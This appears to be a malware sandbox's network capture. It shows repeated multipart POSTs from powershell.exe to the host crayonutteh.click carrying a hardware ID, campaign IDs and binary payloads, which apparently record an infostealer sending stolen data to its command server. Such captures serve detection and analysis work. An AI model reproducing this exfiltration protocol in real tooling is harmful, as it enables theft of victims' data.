2024-12-21 18:24:34 UTC	1255	IN	Data Raw: 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 59 67 5a 4c 4f 7a 31 46 52 62 5a 51 34 36 66 61 6d 7a 79 48 6d 74 79 44 38 71 56 63 54 68 42 35 33 Data Ascii: ack = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="YgZLOz1FRbZQ46famzyHmtyD8qVcThB53
2024-12-21 18:24:34 UTC	982	IN	Data Raw: 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 Data Ascii: s page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49758	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:36 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QVE2Q798IOS0AHG7X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 707 Host: crayonutteh.click
2024-12-21 18:24:36 UTC	707	OUT	Data Raw: 2d 2d 51 56 45 32 51 37 39 38 49 4f 53 30 41 48 47 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 51 56 45 32 51 37 39 38 49 4f 53 30 41 48 47 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 56 45 32 51 37 39 38 49 4f 53 30 41 48 47 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 32 0d 0a 2d 2d 51 Data Ascii: --QVE2Q798IOS0AHG7XContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--QVE2Q798IOS0AHG7XContent-Disposition: form-data; name="pid"1--QVE2Q798IOS0AHG7XContent-Disposition: form-data; name="lid"yJaNLj--re2--Q
2024-12-21 18:24:37 UTC	1140	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2u2l6c3r1qigb7tmapd1qooa1p; expires=Wed, 16 Apr 2025 12:11:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6OunyiZluu2lK6ejX8uGPehoRHJ5bg%2BKECj4NK9kiGlF%2Be1cFBvDCHBu1BNGhqtkpYRJSos86hwFSLEGsju%2F%2F77YZp9rJ694%2F7Ue6Y0tIh6ed1J68VGdf9%2FV7oBeuYvz2PTpoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e8f4db7331f2-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129668&min_rtt=128629&rtt_var=28025&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1623&delivery_rate=29668&cwnd=252&unsent_bytes=0&cid=23bf2cd11c89cce9&ts=785&x=0"
2024-12-21 18:24:37 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49759	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:37 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4QW8SMXYT6UHF1FLH1Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20848 Host: crayonutteh.click
2024-12-21 18:24:37 UTC	15331	OUT	Data Raw: 2d 2d 34 51 57 38 53 4d 58 59 54 36 55 48 46 31 46 4c 48 31 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 34 51 57 38 53 4d 58 59 54 36 55 48 46 31 46 4c 48 31 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 51 57 38 53 4d 58 59 54 36 55 48 46 31 46 4c 48 31 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 Data Ascii: --4QW8SMXYT6UHF1FLH1ZContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--4QW8SMXYT6UHF1FLH1ZContent-Disposition: form-data; name="pid"2--4QW8SMXYT6UHF1FLH1ZContent-Disposition: form-data; name="lid"yJaNLj--re
2024-12-21 18:24:37 UTC	5517	OUT	Data Raw: 4e 00 5b 4d b0 b5 9a 43 4a 6c 16 80 b8 0e db a0 b0 0d ec a2 4c 52 a1 6c ed b8 77 bd 87 62 c9 98 52 ef 2b b0 50 93 52 cd 21 5a 45 37 59 84 2a ab e7 59 db e6 ed c4 56 d7 d8 75 7b 47 d2 68 31 1f f5 ce c4 26 80 58 00 9f 02 e2 d7 5d ef da 68 c4 65 f3 02 1a 5d e3 17 54 a9 ba eb 91 5a 95 6d a3 b1 48 ab ef e3 44 b6 cc 50 39 d2 80 18 d8 28 05 de d2 29 a7 23 a3 fd 62 e0 d2 60 f3 9c de 50 85 b6 cd a9 74 4c d8 cc 07 59 7e 6f 0c f9 6f 38 01 50 1f e0 d4 37 c7 23 5d 66 24 ce ee e1 f7 f9 c0 8d 8f a2 96 74 b9 a0 9b bc 33 c5 0f 18 ae 1a d3 37 38 e4 b5 bb 46 d8 95 3d 17 6f 0d a8 d5 98 dd 3e c6 65 f9 ed 6c 0e 6b 59 60 ab 33 1a 26 4e 75 6d ba d1 05 38 57 6f f9 d9 68 fa 51 96 5e b3 35 47 37 a9 e3 b0 8e 66 f6 1c 65 f9 69 8c b3 d9 1e 97 75 47 2b b9 79 5a f4 06 d5 35 56 b0 1a 03 Data Ascii: N[MCJlLRlwbR+PR!ZE7Y*YVu{Gh1&X]he]TZmHDP9()#b`PtLY~oo8P7#]f$t378F=o>elkY`3&Num8WohQ^5G7feiuG+yZ5V
2024-12-21 18:24:38 UTC	1143	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=149ve895l1ed7lti5ile6disqk; expires=Wed, 16 Apr 2025 12:11:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NlH0sgVRHoqipKoaPNEIbvkbs0jwWWvjZv%2FvqRigkd95JewnSgKdjJNBHfDGKZSzA48qLBa4rkgYfEblec%2Bea4yt%2BKM%2Bla8zHULQNQt%2FBHs7ilESgZU932Hj6M880FN%2FZUt04Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e8fb0fa5ed34-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=128878&min_rtt=128791&rtt_var=27315&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21812&delivery_rate=29661&cwnd=252&unsent_bytes=0&cid=14227f7d0588e38a&ts=760&x=0"
2024-12-21 18:24:38 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49760	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:38 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9M5Q9UQ1XM8ND User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 10906 Host: crayonutteh.click
2024-12-21 18:24:38 UTC	10906	OUT	Data Raw: 2d 2d 39 4d 35 51 39 55 51 31 58 4d 38 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 39 4d 35 51 39 55 51 31 58 4d 38 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 4d 35 51 39 55 51 31 58 4d 38 4e 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 32 0d 0a 2d 2d 39 4d 35 51 39 55 51 31 58 4d 38 4e 44 Data Ascii: --9M5Q9UQ1XM8NDContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--9M5Q9UQ1XM8NDContent-Disposition: form-data; name="pid"2--9M5Q9UQ1XM8NDContent-Disposition: form-data; name="lid"yJaNLj--re2--9M5Q9UQ1XM8ND
2024-12-21 18:24:39 UTC	1140	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q1j59inuv8777ajrcq6haq0m5s; expires=Wed, 16 Apr 2025 12:11:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sLviCYBGMVjcYVa%2F7QXoHlnRBcc17lzWPWGrMXpwpt8SlVMs%2Bgb4GLoiCskdC0EbkCQhivHrunzYcTzDszFU%2B2TI%2FohbbYweGwJAuukHIdSFt7JafoFeTA%2Bdgt0KDLF4PJnE6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e9018bcb228d-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129605&min_rtt=129478&rtt_var=27402&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2842&recv_bytes=11842&delivery_rate=29534&cwnd=252&unsent_bytes=0&cid=de3a2eeec186dc80&ts=746&x=0"
2024-12-21 18:24:39 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49761	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:39 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NIYPNM0SOINW58644SW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20571 Host: crayonutteh.click
2024-12-21 18:24:39 UTC	15331	OUT	Data Raw: 2d 2d 4e 49 59 50 4e 4d 30 53 4f 49 4e 57 35 38 36 34 34 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 4e 49 59 50 4e 4d 30 53 4f 49 4e 57 35 38 36 34 34 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 49 59 50 4e 4d 30 53 4f 49 4e 57 35 38 36 34 34 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 Data Ascii: --NIYPNM0SOINW58644SWContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--NIYPNM0SOINW58644SWContent-Disposition: form-data; name="pid"3--NIYPNM0SOINW58644SWContent-Disposition: form-data; name="lid"yJaNLj--re
2024-12-21 18:24:39 UTC	5240	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 4d d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 5c 6f 74 98 5e f7 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a b7 29 3a 4c af fb 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d eb 8d 0e d3 eb be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 36 45 87 e9 75 df 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 bd d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Mazw\ot^:):Ln`X6Eusazw
2024-12-21 18:24:40 UTC	1135	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lghun7jdt90pk4b73ip79v4tfa; expires=Wed, 16 Apr 2025 12:11:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yAIbi%2Fi7WRvDmK7p5mJhgVwpNQ40OqWmNF0w5y%2BP1lzd8V4ZJSLzByK2gDMK5GayDY7JoVRmlvJApqpOMy46rBtqwFSQEixz2oTGeXamuIdOIUXgEHvh8YtAFAzxbvDnse4xLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e9082fb0a524-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129602&min_rtt=129500&rtt_var=27383&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21535&delivery_rate=29551&cwnd=252&unsent_bytes=0&cid=62f3a3dc9f8f81ef&ts=810&x=0"
2024-12-21 18:24:40 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49762	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:40 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RW0VID7EARR7GHZPX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3812 Host: crayonutteh.click
2024-12-21 18:24:40 UTC	3812	OUT	Data Raw: 2d 2d 52 57 30 56 49 44 37 45 41 52 52 37 47 48 5a 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 52 57 30 56 49 44 37 45 41 52 52 37 47 48 5a 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 57 30 56 49 44 37 45 41 52 52 37 47 48 5a 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 32 0d 0a 2d 2d 52 Data Ascii: --RW0VID7EARR7GHZPXContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--RW0VID7EARR7GHZPXContent-Disposition: form-data; name="pid"1--RW0VID7EARR7GHZPXContent-Disposition: form-data; name="lid"yJaNLj--re2--R
2024-12-21 18:24:41 UTC	1135	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5p74j89j23jrsinm6e67vr43jf; expires=Wed, 16 Apr 2025 12:11:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fTNDcqRwff7%2Blj2raUmVevp3RkYQesLqqyiAYUj1QrccWQzpIrq5QMtrW%2Fygo3nYhyiF%2FJTzcRNn17jKZOu6GoMAxd6VeWkemImRASpgPtKqPjb6TTs0EgmYUrChybuUEcKoIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e9100e7fdb09-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129353&min_rtt=129257&rtt_var=27313&sent=7&recv=11&lost=0&retrans=0&sent_bytes=2843&recv_bytes=4729&delivery_rate=29608&cwnd=252&unsent_bytes=0&cid=acb53829f97553ec&ts=668&x=0"
2024-12-21 18:24:41 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49763	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:41 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7MJ7A1CJ4U63J6OUS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: crayonutteh.click
2024-12-21 18:24:41 UTC	1243	OUT	Data Raw: 2d 2d 37 4d 4a 37 41 31 43 4a 34 55 36 33 4a 36 4f 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 36 37 35 44 30 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 37 4d 4a 37 41 31 43 4a 34 55 36 33 4a 36 4f 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 4d 4a 37 41 31 43 4a 34 55 36 33 4a 36 4f 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 61 4e 4c 6a 2d 2d 72 65 32 0d 0a 2d 2d 37 Data Ascii: --7MJ7A1CJ4U63J6OUSContent-Disposition: form-data; name="hwid"863675D0B129FD4CDB71E32F12885CB3--7MJ7A1CJ4U63J6OUSContent-Disposition: form-data; name="pid"1--7MJ7A1CJ4U63J6OUSContent-Disposition: form-data; name="lid"yJaNLj--re2--7
2024-12-21 18:24:42 UTC	1138	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8pfagifd480jpnegnp9av3981t; expires=Wed, 16 Apr 2025 12:11:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=khriawEHtF9Gf6ULJqq1FZgkj1W7Pc%2FwDxPz%2BOLi9prSrZM33GkvzdSnEiDWl24ygbTW%2F6htElSkOUbLgnt9YtKcIhRbG485apIB%2FLYn0htaz2vfvAs8EMmq3qEIyDqIn2X%2BDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e915efe84c22-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=128927&min_rtt=128613&rtt_var=27302&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2160&delivery_rate=29683&cwnd=252&unsent_bytes=0&cid=f59191c6dbb40b2c&ts=669&x=0"
2024-12-21 18:24:42 UTC	24	IN	Data Raw: 31 32 0d 0a 6f 6b 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 30 35 0d 0a Data Ascii: 12ok 102.129.152.205
2024-12-21 18:24:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49764	104.21.44.253	443	7864	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:24:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BWVWGTP04WMBW9MP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1046444 Host: crayonutteh.click
